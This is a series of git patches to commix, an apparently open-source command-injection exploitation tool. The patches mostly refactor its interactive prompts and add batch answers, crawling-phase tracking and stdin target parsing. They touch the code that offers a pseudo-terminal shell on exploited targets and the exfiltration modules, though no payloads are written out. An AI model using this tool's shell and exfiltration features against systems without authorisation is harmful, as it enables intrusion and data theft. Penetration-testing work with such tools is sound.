sitemap(.xml)? [y/N] > " - message = _input(settings.print_question_msg(question_msg)) - else: - message = "" - if len(message) == 0: - message = "n" + message = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " + message += "the existence of site's sitemap(.xml)? [y/N] > " + message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: settings.SITEMAP_CHECK = True return @@ -318,7 +285,7 @@ def do_process(url): if href: href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href)) if _urllib.parse.urlparse(url).netloc in href: - if (extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS: + if (common.extract_regex_result(r"\A[^?]+\.(?P\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS: if not re.search(r"\?(v=)?\d+\Z", href) and \ not re.search(r"(?i)\.(js|css)(\?|\Z)", href): identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False) diff --git a/src/utils/install.py b/src/utils/install.py index 4036a289c4..40b1a2daea 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -74,13 +74,8 @@ def installer(): warn_msg += " is already installed in your system." print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to remove commix? [Y/n] > " - uninstall = _input(settings.print_question_msg(question_msg)) - else: - uninstall = "" - if len(uninstall) == 0: - uninstall = "Y" + message = "Do you want to remove commix? [Y/n] > " + uninstall = common.read_input(message, default="Y", check_batch=True) if uninstall in settings.CHOICE_YES: uninstaller() raise SystemExit() diff --git a/src/utils/menu.py b/src/utils/menu.py index b1c3b651ed..ea1e8a080d 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -19,6 +19,7 @@ from optparse import OptionGroup from optparse import OptionParser from optparse import SUPPRESS_HELP as SUPPRESS +from src.utils import common from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -132,6 +133,10 @@ def banner(): dest="check_internet", help="Check internet connection before assessing the target.") +general.add_option("--answers", + dest="answers", + help="Set predefined answers (e.g. \"quit=N,follow=N\")") + # Target options target = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Target" + Style.RESET_ALL, "This options has to be provided, to define the target URL. ") @@ -704,8 +709,8 @@ def mobile_user_agents(): Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") while True: - question_msg = "Which smartphone do you want to imitate through HTTP User-Agent header? " - mobile_user_agent = _input(settings.print_question_msg(question_msg)) + message = "Which smartphone do you want to imitate through HTTP User-Agent header? " + mobile_user_agent = common.read_input(message, default=None, check_batch=True) try: if int(mobile_user_agent) in range(0,len(settings.MOBILE_USER_AGENT_LIST)): return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 4bad73afe7..5aa1802364 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -20,6 +20,7 @@ import sqlite3 from src.utils import menu from src.utils import settings +from src.utils import common from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -279,26 +280,19 @@ def notification(url, technique, injection_type): info_msg = "A previously stored session has been held against that host." print(settings.print_info_msg(info_msg)) while True: - if not menu.options.batch: - question_msg = "Do you want to resume to the " - question_msg += "(" + injection_type.split(" ")[0] + ") " - question_msg += technique.rsplit(' ', 2)[0] - question_msg += " injection point? [Y/n] > " - settings.LOAD_SESSION = _input(settings.print_question_msg(question_msg)) - else: - settings.LOAD_SESSION = "" - if len(settings.LOAD_SESSION) == 0: - settings.LOAD_SESSION = "Y" + message = "Do you want to resume to the " + message += "(" + injection_type.split(" ")[0] + ") " + message += technique.rsplit(' ', 2)[0] + message += " injection point? [Y/n] > " + settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) if settings.LOAD_SESSION in settings.CHOICE_YES: return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False if technique[:1] != "c": while True: - question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - if len(proceed_option) == 0: - proceed_option = "c" + message = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "a": settings.RETEST = True diff --git a/src/utils/settings.py b/src/utils/settings.py index bc5787c777..ca3631c80a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -150,8 +150,8 @@ def print_checking_msg(payload): return result # Print question message -def print_question_msg(question_msg): - result = QUESTION_SIGN + question_msg + Style.RESET_ALL +def print_message(message): + result = QUESTION_SIGN + message + Style.RESET_ALL return result # Print sub content message @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "60" +REVISION = "61" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1144,4 +1144,8 @@ def sys_argv_errors(): SITEMAP_CHECK = None FOLLOW_REDIRECT = False + +# Set predefined answers (e.g. "quit=N,follow=N"). +ANSWERS = "" + # eof \ No newline at end of file diff --git a/src/utils/update.py b/src/utils/update.py index cfadf978c6..6ad463b601 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -21,6 +21,7 @@ from src.utils import menu from src.utils import settings from src.utils import requirments +from src.utils import common from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init @@ -135,15 +136,10 @@ def check_for_update(): ((int(settings.VERSION_NUM.replace(".","")[:2]) == int(update_version.replace(".","")[:2])) and \ int(settings.VERSION_NUM.replace(".","")[2:]) < int(update_version.replace(".","")[2:])): while True: - if not menu.options.batch: - question_msg = "Do you want to update to the latest version now? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) - else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + message = "Do you want to update to the latest version now? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: - updater() + updater() elif do_update in settings.CHOICE_NO: break else: @@ -234,17 +230,12 @@ def check_unicorn_version(current_version): warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." print(settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - if len(current_version) == 0: - action = "install" - else: - action = "update to" - question_msg = "Do you want to " + action + " the latest version now? [Y/n] > " - do_update = _input(settings.print_question_msg(question_msg)) + if len(current_version) == 0: + action = "install" else: - do_update = "" - if len(do_update) == 0: - do_update = "Y" + action = "update to" + message = "Do you want to " + action + " the latest version now? [Y/n] > " + do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: unicorn_updater(current_version) elif do_update in settings.CHOICE_NO: From 0b7e449e5bb742b9e718a63a27d95ce5f9ba58d9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 14 May 2022 08:58:53 +0300 Subject: [PATCH 138/560] Minor updates --- src/core/injections/controller/checks.py | 7 +- src/core/injections/controller/controller.py | 71 ++++---- src/core/main.py | 159 +++++++++--------- .../icmp_exfiltration/icmp_exfiltration.py | 2 +- src/utils/settings.py | 6 +- 5 files changed, 124 insertions(+), 121 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 26da81b9f5..49674c7939 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -392,8 +392,11 @@ def check_connection(url): Check current assessment phase. """ def assessment_phase(): - if settings.DETECTION_PHASE: - return "detection" + if settings.DETECTION_PHASE: + if settings.CRAWLING_PHASE: + return "crawling" + else: + return "detection" else: return "exploitation" diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 80acffdf25..6b2605c24e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -352,43 +352,42 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time else: info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." print(settings.print_info_msg(info_msg)) - - if not settings.LOAD_SESSION: - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping heuristic (basic) tests to the target URL." - print(settings.print_debug_msg(debug_msg)) - else: - decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE) - if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: - warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." - print(settings.print_warning_msg(warn_msg)) - checks.tamper_scripts(stored_tamper_scripts=False) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the target URL." - print(settings.print_debug_msg(debug_msg)) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: - # Check for identified warnings - url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - while True: - message = "Skipping of further command injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False - settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + if menu.options.skip_heuristics: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping heuristic (basic) tests to the target URL." + print(settings.print_debug_msg(debug_msg)) + else: + decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE) + if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: + warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." + print(settings.print_warning_msg(warn_msg)) + checks.tamper_scripts(stored_tamper_scripts=False) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Performing heuristic (basic) tests to the target URL." + print(settings.print_debug_msg(debug_msg)) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + + if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: + # Check for identified warnings + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + while True: + message = "Skipping of further command injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False + settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True + break + elif procced_option in settings.CHOICE_NO: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + procced_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: warn_msg = "Heuristic (basic) tests shows that" + header_name diff --git a/src/core/main.py b/src/core/main.py index 6e62ff69a6..e91ba366c9 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -463,9 +463,7 @@ def main(filename, url): checks.check_wrong_flags() else: found_os_server = checks.user_defined_os() - except KeyError: - pass - except AttributeError: + except (KeyError, AttributeError): pass # Load tamper scripts if menu.options.tamper: @@ -778,86 +776,89 @@ def main(filename, url): filename = logs.logs_filename_creation(url) main(filename, url) - # Check if option is "-m" for multiple urls test. - if menu.options.bulkfile: - bulkfile = menu.options.bulkfile - info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if not os.path.exists(bulkfile): - print(settings.SINGLE_WHITESPACE) - err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - elif os.stat(bulkfile).st_size == 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") + else: + # Check if option is "-m" for multiple urls test. + if menu.options.bulkfile: + bulkfile = menu.options.bulkfile + info_msg = "Parsing targets using the '" + os.path.split(bulkfile)[1] + "' file. " + sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() - raise SystemExit() - else: - settings.MULTI_TARGETS = True - print(settings.SINGLE_WHITESPACE) - with open(menu.options.bulkfile) as f: - bulkfile = [url.strip() for url in f] - - # Check if option "--crawl" is enabled. - if settings.CRAWLING: - output_href = [] - url_num = 1 - if not menu.options.bulkfile: - crawling_list = 1 - output_href = crawler.crawler(url, url_num, crawling_list) - output_href.append(url) + if not os.path.exists(bulkfile): + print(settings.SINGLE_WHITESPACE) + err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, does not exist." + sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") + sys.stdout.flush() + raise SystemExit() + elif os.stat(bulkfile).st_size == 0: + print(settings.SINGLE_WHITESPACE) + err_msg = "It seems that the '" + os.path.split(bulkfile)[1] + "' file, is empty." + sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") + sys.stdout.flush() + raise SystemExit() + else: + settings.MULTI_TARGETS = True + print(settings.SINGLE_WHITESPACE) + with open(menu.options.bulkfile) as f: + bulkfile = [url.strip() for url in f] + + # Check if option "--crawl" is enabled. + if settings.CRAWLING: + settings.CRAWLING_PHASE = True + output_href = [] + url_num = 1 + if not menu.options.bulkfile: + crawling_list = 1 + output_href = crawler.crawler(url, url_num, crawling_list) + output_href.append(url) + else: + crawling_list = len(bulkfile) + for url in bulkfile: + output_href += (crawler.crawler(url, url_num, crawling_list)) + url_num += 1 + output_href = output_href + bulkfile + output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] + output_href = crawler.normalize_results(output_href) + settings.CRAWLING_PHASE = False else: - crawling_list = len(bulkfile) - for url in bulkfile: - output_href += (crawler.crawler(url, url_num, crawling_list)) - url_num += 1 + output_href = [] output_href = output_href + bulkfile - output_href = [x for x in output_href if x not in settings.HREF_SKIPPED] - output_href = crawler.normalize_results(output_href) - else: - output_href = [] - output_href = output_href + bulkfile - filename = None - # Removing duplicates from list. - clean_output_href = [] - [clean_output_href.append(x) for x in output_href if x not in clean_output_href] - # Removing empty elements from list. - clean_output_href = [x for x in clean_output_href if x] - if len(output_href) >= 0: - if filename is not None: - filename = crawler.store_crawling(output_href) - info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." - print(settings.print_info_msg(info_msg)) - url_num = 0 - for url in clean_output_href: - if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: - url_num += 1 - print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") - message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " - message = common.read_input(message, default="Y", check_batch=True) - if message in settings.CHOICE_YES: - settings.INIT_TEST = True - if url == clean_output_href[-1]: - settings.EOF = True - # Reset the injection level - if menu.options.level > 3: - menu.options.level = 1 - init_injection(url) - try: - response, url = url_response(url) - if response != False: - filename = logs.logs_filename_creation(url) - main(filename, url) - except: + filename = None + # Removing duplicates from list. + clean_output_href = [] + [clean_output_href.append(x) for x in output_href if x not in clean_output_href] + # Removing empty elements from list. + clean_output_href = [x for x in clean_output_href if x] + if len(output_href) >= 0: + if filename is not None: + filename = crawler.store_crawling(output_href) + info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." + print(settings.print_info_msg(info_msg)) + url_num = 0 + for url in clean_output_href: + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: + url_num += 1 + print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") + message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " + message = common.read_input(message, default="Y", check_batch=True) + if message in settings.CHOICE_YES: + settings.INIT_TEST = True + if url == clean_output_href[-1]: + settings.EOF = True + # Reset the injection level + if menu.options.level > 3: + menu.options.level = 1 + init_injection(url) + try: + response, url = url_response(url) + if response != False: + filename = logs.logs_filename_creation(url) + main(filename, url) + except: + pass + elif message in settings.CHOICE_NO: pass - elif message in settings.CHOICE_NO: - pass - elif message in settings.CHOICE_QUIT: - raise SystemExit() + elif message in settings.CHOICE_QUIT: + raise SystemExit() except KeyboardInterrupt: try: diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 9676b414b0..25cfade488 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -169,7 +169,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): # Command execution results. cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src) except KeyboardInterrupt: - os._exit(1) + os._exit(0) except: print(settings.SINGLE_WHITESPACE) os._exit(0) diff --git a/src/utils/settings.py b/src/utils/settings.py index ca3631c80a..90f17e1d53 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "61" +REVISION = "62" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1130,8 +1130,8 @@ def sys_argv_errors(): # Base64 padding BASE64_PADDING = "==" -# Crawling state -CRAWLING = False +# Crawling phase +CRAWLING = CRAWLING_PHASE = False CRAWLED_SKIPPED_URLS_NUM = 0 CRAWLED_URLS_NUM = 0 From 3acd37cfdb8e7d4032b7b4b13f4565fd4b139a12 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 15 May 2022 09:25:22 +0300 Subject: [PATCH 139/560] Added support regarding parsing target(s) from piped-input (i.e. stdin). --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_handler.py | 11 ++- src/core/injections/controller/checks.py | 22 +++++ src/core/injections/controller/controller.py | 3 +- .../techniques/classic/cb_handler.py | 13 ++- .../techniques/eval_based/eb_handler.py | 11 ++- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 11 ++- src/core/main.py | 87 ++++++++++++------- .../dns_exfiltration/dns_exfiltration.py | 2 +- .../icmp_exfiltration/icmp_exfiltration.py | 2 +- src/core/modules/shellshock/shellshock.py | 9 +- src/utils/common.py | 5 +- src/utils/menu.py | 17 ---- src/utils/settings.py | 4 +- 15 files changed, 133 insertions(+), 67 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8699acf397..da59613613 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: Support regarding parsing target(s) from piped-input (i.e. stdin). * Added: New option `--answers` to set user answers to asked questions during commix run. * Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for normalizing crawling results. diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 4dc27cb427..7abb43fe07 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -306,6 +306,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise @@ -475,7 +477,10 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back == True: break message = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -490,7 +495,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -521,6 +526,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 49674c7939..92654e0bee 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -53,6 +53,28 @@ except: settings.READLINE_ERROR = True +""" +The available mobile user agents. +""" +def mobile_user_agents(): + menu.mobile_user_agents() + while True: + message = "Which smartphone do you want to imitate through HTTP User-Agent header? > " + mobile_user_agent = common.read_input(message, default="1", check_batch=True) + try: + if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)): + return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] + elif mobile_user_agent.lower() == "q": + raise SystemExit() + else: + err_msg = "'" + mobile_user_agent + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + except ValueError: + err_msg = "'" + mobile_user_agent + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + """ User aborted procedure """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6b2605c24e..c96bb88b31 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -841,8 +841,9 @@ def do_check(url, http_request_method, filename): err_msg += "." print(settings.print_critical_msg(err_msg)) + logs.print_logs_notification(filename, url) if not settings.MULTI_TARGETS: - logs.print_logs_notification(filename, url) + print(settings.SINGLE_WHITESPACE) if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: raise SystemExit() diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index a5142b36cc..8dd6a3e80a 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -204,6 +204,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise @@ -345,11 +347,14 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Pseudo-Terminal shell go_back = False go_back_again = False - while True: + while True : if go_back == True: break message = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -359,7 +364,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -410,6 +415,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index dd77d4b545..2573314a1e 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -216,6 +216,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise @@ -361,7 +363,10 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back == True: break message = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -371,7 +376,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -418,6 +423,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 531fffa7c2..fd9ab9305d 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -601,7 +601,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index e5948f2d9d..46f957538e 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -335,6 +335,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) if 'cmd' in locals(): @@ -529,7 +531,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if go_back == True: break message = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -543,7 +548,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -599,6 +604,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." 